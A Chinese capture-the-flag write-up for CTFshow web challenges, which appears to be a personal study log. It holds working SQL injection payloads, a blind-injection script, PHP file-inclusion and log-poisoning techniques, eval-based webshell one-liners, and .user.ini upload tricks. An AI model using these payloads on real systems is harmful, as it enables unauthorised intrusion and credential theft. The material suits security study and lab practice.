CTFshow

web1

简单签到

web2(简单sql注入)

简单的sql注入,按照步骤来

1
2
3
4
5
6
7
8
9
假设题目的要求是拿到所有的username和password的值
id=1 order by 1--+ #这里是查看列的数量
id=0 union select 1,2,3--+ #查看显示位
假设显示位仅有3,那么可以在3处去注入获取想要的信息,如:
id=0 union select 1,2,database()--+ #查看数据库名称,假设查找到的数据库名为mysql
id=0 union select 1,2,version()--+ #查看数据库版本信息
id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+ #查找mysql数据库中所有的表名,group_concat()函数的作用是将所有查找到的项都连接起来,否则只能查到一个,假设查到重要的表为users
id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #查到users表中所有字段即列的名字,假设查到列中有username和password
id=0 union select 1,2,group_concat(username,password) from users #从users这个表中获取到所有的username和password的值

web3(PHP伪协议)

先了解什么是PHP伪协议

关键源码泄露:

1
<?php include($_GET['url']);?> 

这是一个文件包含的操作,通过参数url可以进行操作,首先利用php://filter读去文件源码:

1
php://filter/read=convert.base64-encode/resource=index.php

将得到的base64拿去解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
$url=$_GET['url'];
if(isset($url)){
include($url);
}

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web3</title>
</head>
<body>
<center>
<h2>ctf.show_web3</h2>
<hr>
<h3>
<?php

$code="<?php include($"."_GET['url']);?>";
highlight_string($code);
?>
</center>

</body>
</html>

没什么用的代码,直接进行命令执行:

1
2
php://input
<?php system('ls');?> #post方式传递

此时会提示一个ctf_go_go_go的文件,访问这个文件,得到flag

web4(日志UA注入)

看到get方式的url参数,像web3一样直接用php伪协议发现报错,学习了别人的博客,说是日志注入,F12发现是nginx服务器,查看了nginx服务器的日志存放,发现是在/var/log/nginx/access.log,然后访问这个文件,看到了日志:

然后这里发现爆出的是UA,那么猜测是UA注入,用burp抓包,在抓的包UA后面添上一句话木马

1
<?php eval($_POST['pass']);?>

重发包得到flag。

web5(md5弱比较)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

ctype_alpha函数判断参数是否全为字母,is_numeric函数判断参数是否全为数字。

后面进行md5值的比较,两个md5如果都是以0e加数字组成,那么输入值就为0

常见的输入值为0的md5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
纯大写字母:
QNKCDZO
0e830400451993494058024219903391
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536
纯数字:
240610708
0e462097431906509019562988736854
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412
其他:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

常见的输入值为0的sha1:

1
2
3
4
5
6
7
8
9
10
11
12
10932435112
0e07766915004133176347055865026311692244
aaroZmOk
0e66507019969427134894567494305185566735
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
aa3OFF9m
0e36977786278517984959260394024281014729
0e1290633704
0e19985187802402577070739524195726831799

按要求将v1和v2传入即可。

web6(sql注入空格绕过post)

进入页面,发现是用户登录页面,先尝试SQL注入,在输入万能的SQL语句1’ or1=1#后发现报错,burp抓包发现空格被过滤了,直接用:

1
/**/

代替空格就行,当然还有另外常见的绕过空格的方法:

1
2
3
4
5
()
回车 //url编码中的%0a
` //tab键上面的那个键
tap
两个空格

绕过了空格之后就是常规的操作了,查显示位,查数据库,查表,查字段。

web7(sql注入空格绕过get)

进入页面看见了几个目录,发现是文章,先用目录扫描工具扫了一下,发现的目录访问后没啥用,点击文章后发现有?id=1,这里大胆猜测时SQL注入,写一个万能SQL语句,发现报错,抓包后没发现什么问题,慢慢试,发现依然是一个空格绕过,老套路操作就行。

web8(sql注入过滤了空格、union、and、逗号,报错注入)

试了很久,我只发现了这道题过滤了空格,然后and也过滤了,但是union、逗号、和select我不知道怎么确定,看了大佬的wp通过报错注入一点一点试,就可以发现逗号被过滤了,select没有被过滤,再进行联合注入,就可以发现union也被过滤了。注入正确返回页面,错误就没啥反应,这里就直接用大佬的脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = 'http://6a8bc7d0-0e78-4a6f-814a-2fd51d247a9e.challenge.ctf.show/index.php?id=0/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1,50):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容,截取31到128以保证每个可能的flag字符都包含
for j in range(31, 128):
result = requests.get(url + payload % (i, j))

if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break

# 如果某个字符不存在,则停止程序,防止继续运行浪费时间
count += 1
if count >= (128 - 31):
exit()

知道了报错注入中substr函数中逗号以及如果要限制显示行数的逗号绕过方法:

1
2
substr('str',1,1)-->substr('str' from 1 for 1)
limit 0,1-->limit 1 offset 0

大佬博客

web9(sql注入md5($str,true)类型绕过)

看到登陆页面,一眼SQL注入,但诸如半天没用,扫目录发现可疑的robots.txt,访问后下载文件拿到一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

这段代码意思就是password长度必须小于10,并且写入的password会经过md516字符二进制加密,所以必须找一个字符串经过md516字符二进制加密后,再转化为字符串为一句SQL注入的话语,找不到,看大佬,得到一个字符串:ffifdyop,加密后转化为字符串为:

1
' ' 'or' 6<trach>

这相当于一个万能密码,由于6为真,那么结果一定为真,也就绕过了。

大佬博客

web10(sql注入通过group by … with rollup绕过)

进入页面,发现诸如很久都没有用,点击取消后拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

首先知道这道题将几乎所有SQL语句都过滤了,并且是直接删除,当然这里可以双写绕过,但是后面语句会对输入语句和过滤后的语句进行对比,长度不相等就报错,所以双写绕过被防御了,继续看代码后面知道最后还要验证password,只有当username和password都正确时才能登入,这时可以用到group by … with rollup。

1
2
group by ...  //将...中的值进行排列
在后面加上with rollup //将刚刚排列的值进行汇总,由于password并不是数字类型而是字符串类型,所以并不能汇总,会在末尾添加一个NULL,当然如果是数字类型那么就会添加一行汇总。

这时我们就相当于注入了一个密码空,由于数据库只验证密码,所以用户可以随便,但注入语句须在用户中,因为要保证密码为空。

payload:

1
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

大佬博客

web11(session绕过)

打开页面看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

这里依然将几乎所有的SQL注入语句都过滤了,这里看到验证password使用的是session_id进行验证的,看看session是什么,每一个登录用户都会得到一个session_id,系统验证此id进行登录,也就相当于一个令牌,我们不知道正确的令牌是什么,但是如果我们的令牌刚好为空,密码也刚好为空,那么是不是这两个变量就相等了呢,不就绕过了session了吗,结果确实绕过了。

web12(eval危险函数注入利用)

打开源码,发现了?cmd= ,写入php代码发现有回显,那么就可以查看目录文件了,由于system()函数没有回显,也就不能直接命令执行,但是这里提供两个能够查看所有文件的函数:

1
2
glob("*")  //返回匹配指定模式的文件名或目录
scandir(".") //查看当前所有的目录文件

echo一下发现是数组,那么就用print_r或者var_dump

echo,print,print_r,var_dump 的区别:

1.echo

输出一个或者多个字符串。

2.print

和 echo 最主要的区别: print 仅支持一个参数,并总是返回 1。

3.print_r

打印关于变量的易于理解的信息,如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。 记住,print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。

4.var_dump

此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

5.var_dump 和 print_r 的区别

var_dump 返回表达式的类型与值而 print_r 仅返回结果,相比调试代码使用 var_dump 更便于阅读

拿到一个很长文件名的php文件,使用show_source函数查看即可。

红包题第二弹

在cmd后面随便输什么,爆出来了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

?>

这里除了字母p、加号、单反引号、问号、;和/外全过滤了,不知道怎么做,跟着大佬做,有了问号就可以考虑通过通配符执行文件,大佬说php以post上传的文件会暂存到/tmp/phpxxxxxx内,后面六个是随机命名的字母,由于点号没有被过滤,就可以通过点号代替source执行文件,在文件中写入# /bin/sh就可以不需要权限进行任意代码执行了,而<?可以代替echo,+可以代替空格,那么就可以构造payload:

1
?cmd=?><?=`.+/??p/p?p??????`;

在本地写一个文件上传页面,上传时抓包改执行指令即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta charset="utf -8">
<title>POST数据</title>
</head>
<body>
<form action="http://2e32d383-ce02-4da3-ab3c-dcea9d439dc0.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

注意文件目录以及通配符的使用。

web13(.user.ini文件上传)

由于这道题限制了文件大小,并且过滤了php,先尝试拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

.user.ini

过滤php并且文件大小不得超过24后缀不得大于3,这里考虑上传txt文件,然后使用.user.ini修改配置,使得传入的木马被解析

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

.htaccess是伪静态环境配置文件,用于lamp。 .user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取. 配置 放在根目录 .user.ini

两个PHP方法:

auto_prepend_file:在页面顶部加载文件

auto_append_file:在页面底部加载文件

根据要求传入木马(1.txt):

1
2
<?php eval($_GET['a']);   //get方式上传执行指令
<?php eval($_POST['a']); //post方式上传执行指令

上传.user.ini:

1
auto_prepend_file=1.txt

由于没有拿到后门权限,所有可以直接在网页以get或post方式查看文件最后拿到flag

1
2
a=print_r(glob("*"));
a=highlight("flag的名字");

web14(sql注入,过滤少许语句,load_file函数下载数据库文件)

首先进入,发现在c=3时会输出url,提示here_1s_your_f1ag.php文件直接进入,简单尝试一下sql注入,这里发现是一个没有引号过滤:

1
information_schema\.tables|information_schema\.columns|linestring| |polygon/is

绕过:

1
2
空格: /**/
information_schema.tables等: information_schema.`tables`

但是提示这是一个秘密,那么应该在开始的secret.php里,查看:

1
0/**/union/**/select/**/load_file('/var/www/html/secret.php')

提示文件/real_flag_is_here,直接再次访问:

1
0/**/union/**/select/**/load_file('/real_flag_is_here')

得到flag